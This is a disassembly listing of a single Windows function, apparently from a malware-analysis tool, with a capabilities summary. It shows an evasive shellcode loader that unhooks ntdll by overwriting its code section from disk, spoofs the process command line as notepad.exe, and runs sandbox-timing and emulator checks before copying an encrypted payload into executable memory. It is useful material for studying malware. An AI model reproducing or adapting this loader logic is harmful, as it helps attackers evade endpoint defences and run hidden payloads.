Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x968
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x910], ecx
mov qword [rbp + 0x918], rdx
call fcn.140002e30
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x860], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x858], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x850], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8d8], rax
cmp qword [rbp + 0x8d8], 0
jne 0x14000152d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8d8], rax
cmp qword [rbp + 0x8d8], 0
je 0x140001cc5
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x630]
mov rax, qword [rbp + 0x850]
mov r10, qword [rbp + 0x8d8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x848], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x840], rax
mov rax, qword [rbp + 0x840]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x838], rax
mov rax, qword [rbp + 0x838]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x830], rax
mov rax, qword [rbp + 0x848]
mov qword [rbp + 0x828], rax
mov rax, qword [rbp + 0x828]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x848]
add rax, rdx
mov qword [rbp + 0x820], rax
mov dword [rbp + 0x81c], 0
mov ecx, 0x21b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x810], rax
mov ecx, 0x21b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x808], rax
mov ecx, 0x21b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x800], rax
mov dword [rbp + 0x8d4], 0
jmp 0x140001797
mov dword [rbp + 0x8d0], 0
jmp 0x140001783
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 5
cdq
sub ecx, edx
imul edx, ecx, 0x1f4
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x8d4]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x810]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x8d0]
cdqe
movss dword [rdx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 5
cdq
sub ecx, edx
imul edx, ecx, 0x1f4
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x8d4]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x808]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x8d0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x8d0], 1
cmp dword [rbp + 0x8d0], 0x19
jle 0x1400016b4
add dword [rbp + 0x8d4], 1
cmp dword [rbp + 0x8d4], 0x52
jle 0x1400016a5
mov dword [rbp + 0x8d4], 0
jmp 0x1400018a1
mov dword [rbp + 0x8d0], 0
jmp 0x14000188d
mov eax, dword [rbp + 0x8d4]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x810]
add rdx, rax
mov eax, dword [rbp + 0x8d0]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x8d4]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x808]
add rdx, rax
mov eax, dword [rbp + 0x8d0]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movq xmm0, rax
call fcn.140003e20
mov eax, dword [rbp + 0x8d4]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x800]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x8d0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x8d0], 1
cmp dword [rbp + 0x8d0], 0x19
jle 0x1400017c2
add dword [rbp + 0x8d4], 1
cmp dword [rbp + 0x8d4], 0x52
jle 0x1400017b3
mov rax, qword [rbp + 0x810]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x808]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x800]
mov rcx, rax
call sub.msvcrt.dll_free
mov word [rbp + 0x8ce], 0
jmp 0x140001cad
mov qword [rbp + 0x8c0], 0
mov dword [rbp + 0x7fc], 0x22f
mov dword [rbp + 0x8c8], 1
jmp 0x140001920
mov eax, dword [rbp + 0x8c8]
cdqe
add qword [rbp + 0x8c0], rax
add dword [rbp + 0x8c8], 1
mov eax, dword [rbp + 0x8c8]
cmp eax, dword [rbp + 0x7fc]
jle 0x14000190a
mov rax, qword [rbp + 0x820]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x820]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x8ce]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7f0], rax
mov rax, qword [rbp + 0x7f0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001c9c
mov ecx, 0x41f4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e8], rax
mov ecx, 0x41f4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e0], rax
mov ecx, 0x41f4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d8], rax
mov dword [rbp + 0x8bc], 0
jmp 0x140001ab4
mov dword [rbp + 0x8b8], 0
jmp 0x140001aa0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x8bc]
movsxd rcx, eax
mov rax, rcx
shl rax, 6
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x7e8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x8b8]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x8bc]
movsxd rcx, eax
mov rax, rcx
shl rax, 6
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x7e0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x8b8]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x8b8], 1
cmp dword [rbp + 0x8b8], 0x3e
jle 0x1400019d9
add dword [rbp + 0x8bc], 1
cmp dword [rbp + 0x8bc], 0x42
jle 0x1400019ca
mov dword [rbp + 0x8bc], 0
jmp 0x140001b91
mov dword [rbp + 0x8b8], 0
jmp 0x140001b7d
mov eax, dword [rbp + 0x8bc]
movsxd rdx, eax
mov rax, rdx
shl rax, 6
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x7e8]
add rdx, rax
mov eax, dword [rbp + 0x8b8]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x8bc]
movsxd rdx, eax
mov rax, rdx
shl rax, 6
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x7e0]
add rdx, rax
mov eax, dword [rbp + 0x8b8]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x8bc]
movsxd rdx, eax
mov rax, rdx
shl rax, 6
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x7d8]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x8b8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x8b8], 1
cmp dword [rbp + 0x8b8], 0x3e
jle 0x140001adf
add dword [rbp + 0x8bc], 1
cmp dword [rbp + 0x8bc], 0x42
jle 0x140001ad0
mov rax, qword [rbp + 0x7e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5f8], 0
mov rax, qword [rbp + 0x7f0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7f0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x848]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7f0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7f0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x830]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7f0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x848]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5f8]
mov rax, qword [rbp + 0x7f0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7f0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x848]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x8ce]
add eax, 1
mov word [rbp + 0x8ce], ax
mov rax, qword [rbp + 0x820]
movzx eax, word [rax + 6]
cmp word [rbp + 0x8ce], ax
jb 0x1400018e9
mov dword [rbp + 0x5fc], 0
mov rax, qword [rbp + 0x860]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7d0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x600]
lea rax, [rbp + 0x5fc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x7d0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x608]
add rax, 0x3c
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x7c8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x8b0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x7c0], rax
cmp qword [rbp + 0x7c0], 0
je 0x140001de9
mov rax, qword [rbp + 0x7c0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x7b8]
mov r9d, 0x3000
mov r8d, 0x2dd
mov edx, 0
call rax
mov qword [rbp + 0x8b0], rax
cmp qword [rbp + 0x8b0], 0
je 0x140002d69
mov dword [rbp + 0x7b4], 0x237
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a0], rax
mov rax, qword [rbp + 0x7a0]
call rax
mov dword [rbp + 0x79c], eax
mov eax, dword [rbp + 0x7b4]
mov r8, qword [rbp + 0x7a8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x7a0]
call rax
mov dword [rbp + 0x798], eax
mov eax, dword [rbp + 0x798]
sub eax, dword [rbp + 0x79c]
cmp eax, 0x205
jbe 0x140002d69
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x790]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x788], rax
cmp qword [rbp + 0x788], 0
jne 0x140002d69
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x780], rax
cmp qword [rbp + 0x780], 0
je 0x140002d69
mov rax, qword [rbp + 0x780]
mov edx, 0x3f5
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x77c], eax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x770], rax
cmp qword [rbp + 0x770], 0
je 0x140002d69
mov rax, qword [rbp + 0x770]
mov edx, 0x54d
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x76c], eax
lea rax, str.wrrzwvdqajyv.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x760], rax
cmp qword [rbp + 0x760], 0
jne 0x140002d69
mov dword [rbp + 0x75c], 0x2b3
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
call rax
mov dword [rbp + 0x74c], eax
mov eax, dword [rbp + 0x75c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x750]
call rax
mov dword [rbp + 0x748], eax
mov eax, dword [rbp + 0x748]
sub eax, dword [rbp + 0x74c]
cmp eax, 0x281
jbe 0x140002d69
mov dword [rbp + 0x744], 0x295
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x72c], eax
mov eax, dword [rbp + 0x744]
mov r8, qword [rbp + 0x738]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x728], eax
mov eax, dword [rbp + 0x728]
sub eax, dword [rbp + 0x72c]
cmp eax, 0x263
jbe 0x140002d69
mov dword [rbp + 0x724], 0x211
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x714], eax
mov eax, dword [rbp + 0x724]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x710], eax
mov eax, dword [rbp + 0x710]
sub eax, dword [rbp + 0x714]
cmp eax, 0x1df
jbe 0x140002d69
mov dword [rbp + 0x70c], 0x36b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f4], eax
mov eax, dword [rbp + 0x70c]
mov r8, qword [rbp + 0x700]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f0], eax
mov eax, dword [rbp + 0x6f0]
sub eax, dword [rbp + 0x6f4]
cmp eax, 0x339
jbe 0x140002d69
lea rax, [rbp + 0x140]
lea rdx, [0x140006130]
mov ecx, 0x95
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov dword [rbp + 0x8a8], 1
jmp 0x14000233e
mov dword [rbp + 0x8ac], 0
mov eax, dword [rbp + 0x8a8]
mov dword [rbp + 0x8a4], eax
jmp 0x140002314
mov edx, dword [rbp + 0x8a4]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x650], edx
mov eax, dword [rbp + 0x650]
imul eax, eax
imul eax, dword [rbp + 0x650]
add dword [rbp + 0x8ac], eax
mov eax, dword [rbp + 0x8a4]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x8a4], eax
cmp dword [rbp + 0x8a4], 0
jne 0x1400022a9
mov eax, dword [rbp + 0x8ac]
cmp eax, dword [rbp + 0x8a8]
jne 0x140002337
mov eax, dword [rbp + 0x8a8]
mov dword [rbp + 0x654], eax
add dword [rbp + 0x8a8], 1
cmp dword [rbp + 0x8a8], 0x3cd
jle 0x140002291
mov rax, qword [rbp + 0x858]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x858]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e8]
mov r8d, 0
mov edx, 0x4aa
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
mov r9, qword [rbp + 0x6e0]
mov r8d, 0x4aa
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6d0], rax
mov dword [rbp + 0x6cc], 0
mov ecx, 0x63c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov ecx, 0x63c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b8], rax
mov ecx, 0x63c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x8a0], 0
jmp 0x14000250e
mov dword [rbp + 0x89c], 0
jmp 0x1400024fa
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
imul edx, ecx, 0x32
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x8a0]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x6c0]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x89c]
cdqe
movss dword [rdx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
imul edx, ecx, 0x32
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x8a0]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x6b8]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x89c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x89c], 1
cmp dword [rbp + 0x89c], 0x4b
jle 0x140002431
add dword [rbp + 0x8a0], 1
cmp dword [rbp + 0x8a0], 0x53
jle 0x140002422
mov dword [rbp + 0x8a0], 0
jmp 0x1400025fd
mov dword [rbp + 0x89c], 0
jmp 0x1400025e9
mov eax, dword [rbp + 0x8a0]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x6c0]
add rdx, rax
mov eax, dword [rbp + 0x89c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x8a0]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x6b8]
add rdx, rax
mov eax, dword [rbp + 0x89c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x8a0]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x6b0]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x89c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x89c], 1
cmp dword [rbp + 0x89c], 0x4b
jle 0x140002539
add dword [rbp + 0x8a0], 1
cmp dword [rbp + 0x8a0], 0x53
jle 0x14000252a
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x860]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
lea rdx, [rbp + 0x140]
mov rax, qword [rbp + 0x6d0]
mov r9, qword [rbp + 0x6a8]
mov r8d, 0x4aa
mov rcx, rax
call r9
mov dword [rbp + 0x898], 0
mov dword [rbp + 0x894], 0xffffffff
add dword [rbp + 0x894], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x344
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065e0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003f60
movq rax, xmm0
mov qword [rbp + 0x6a0], rax
cmp dword [rbp + 0x894], 0x205
jle 0x14000268d
mov dword [rbp + 0x890], 0
mov dword [rbp + 0x88c], 0
movabs rax, 0x43b4341bd968cce8
movabs rdx, 0x3442819463b13a4
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xc55125930606b4f7
movabs rdx, 0x8a8aa597b8f297c3
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x57fc9caea7070416
movabs rdx, 0xc33542fed05be6d0
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x5fc0e3d762198ffe
movabs rdx, 0xc89303649e630509
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xeb9c45fe9ff299ba
movabs rdx, 0x5e00cb283ceb9903
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xa7acdab7954a4a91
movabs rdx, 0xeeb0030c30756a38
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0xdefabfff458e95c1
movabs rdx, 0x5877d83ecc654653
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov dword [rbp + 0x2f], 0xe94a58
mov ecx, 0x780
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x888], 0
jmp 0x140002824
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065e0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x888]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x698]
add rax, rdx
movsd xmm1, qword [0x1400065e8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x888], 1
cmp dword [rbp + 0x888], 0xef
jle 0x1400027d6
mov dword [rbp + 0x888], 0
jmp 0x14000288e
mov eax, dword [rbp + 0x888]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x888]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x698]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x888], 1
cmp dword [rbp + 0x888], 0xef
jle 0x14000283c
movabs rax, 0x2676aeb54c5c2351
movabs rdx, 0x6a0a1f91be6f9b68
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x66f2209bc51c5ce4
movabs rdx, 0x9cad91edd5520baa
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x176e410c372826aa
movabs rdx, 0x9c580a2e42877404
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x94cb4922a450d4be
movabs rdx, 0x86a753fca07ede22
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0xf8b8ee05353ad0fc
movabs rdx, 0x3f4bd4f6e5de35f5
mov qword [rbp + 0x100], rax
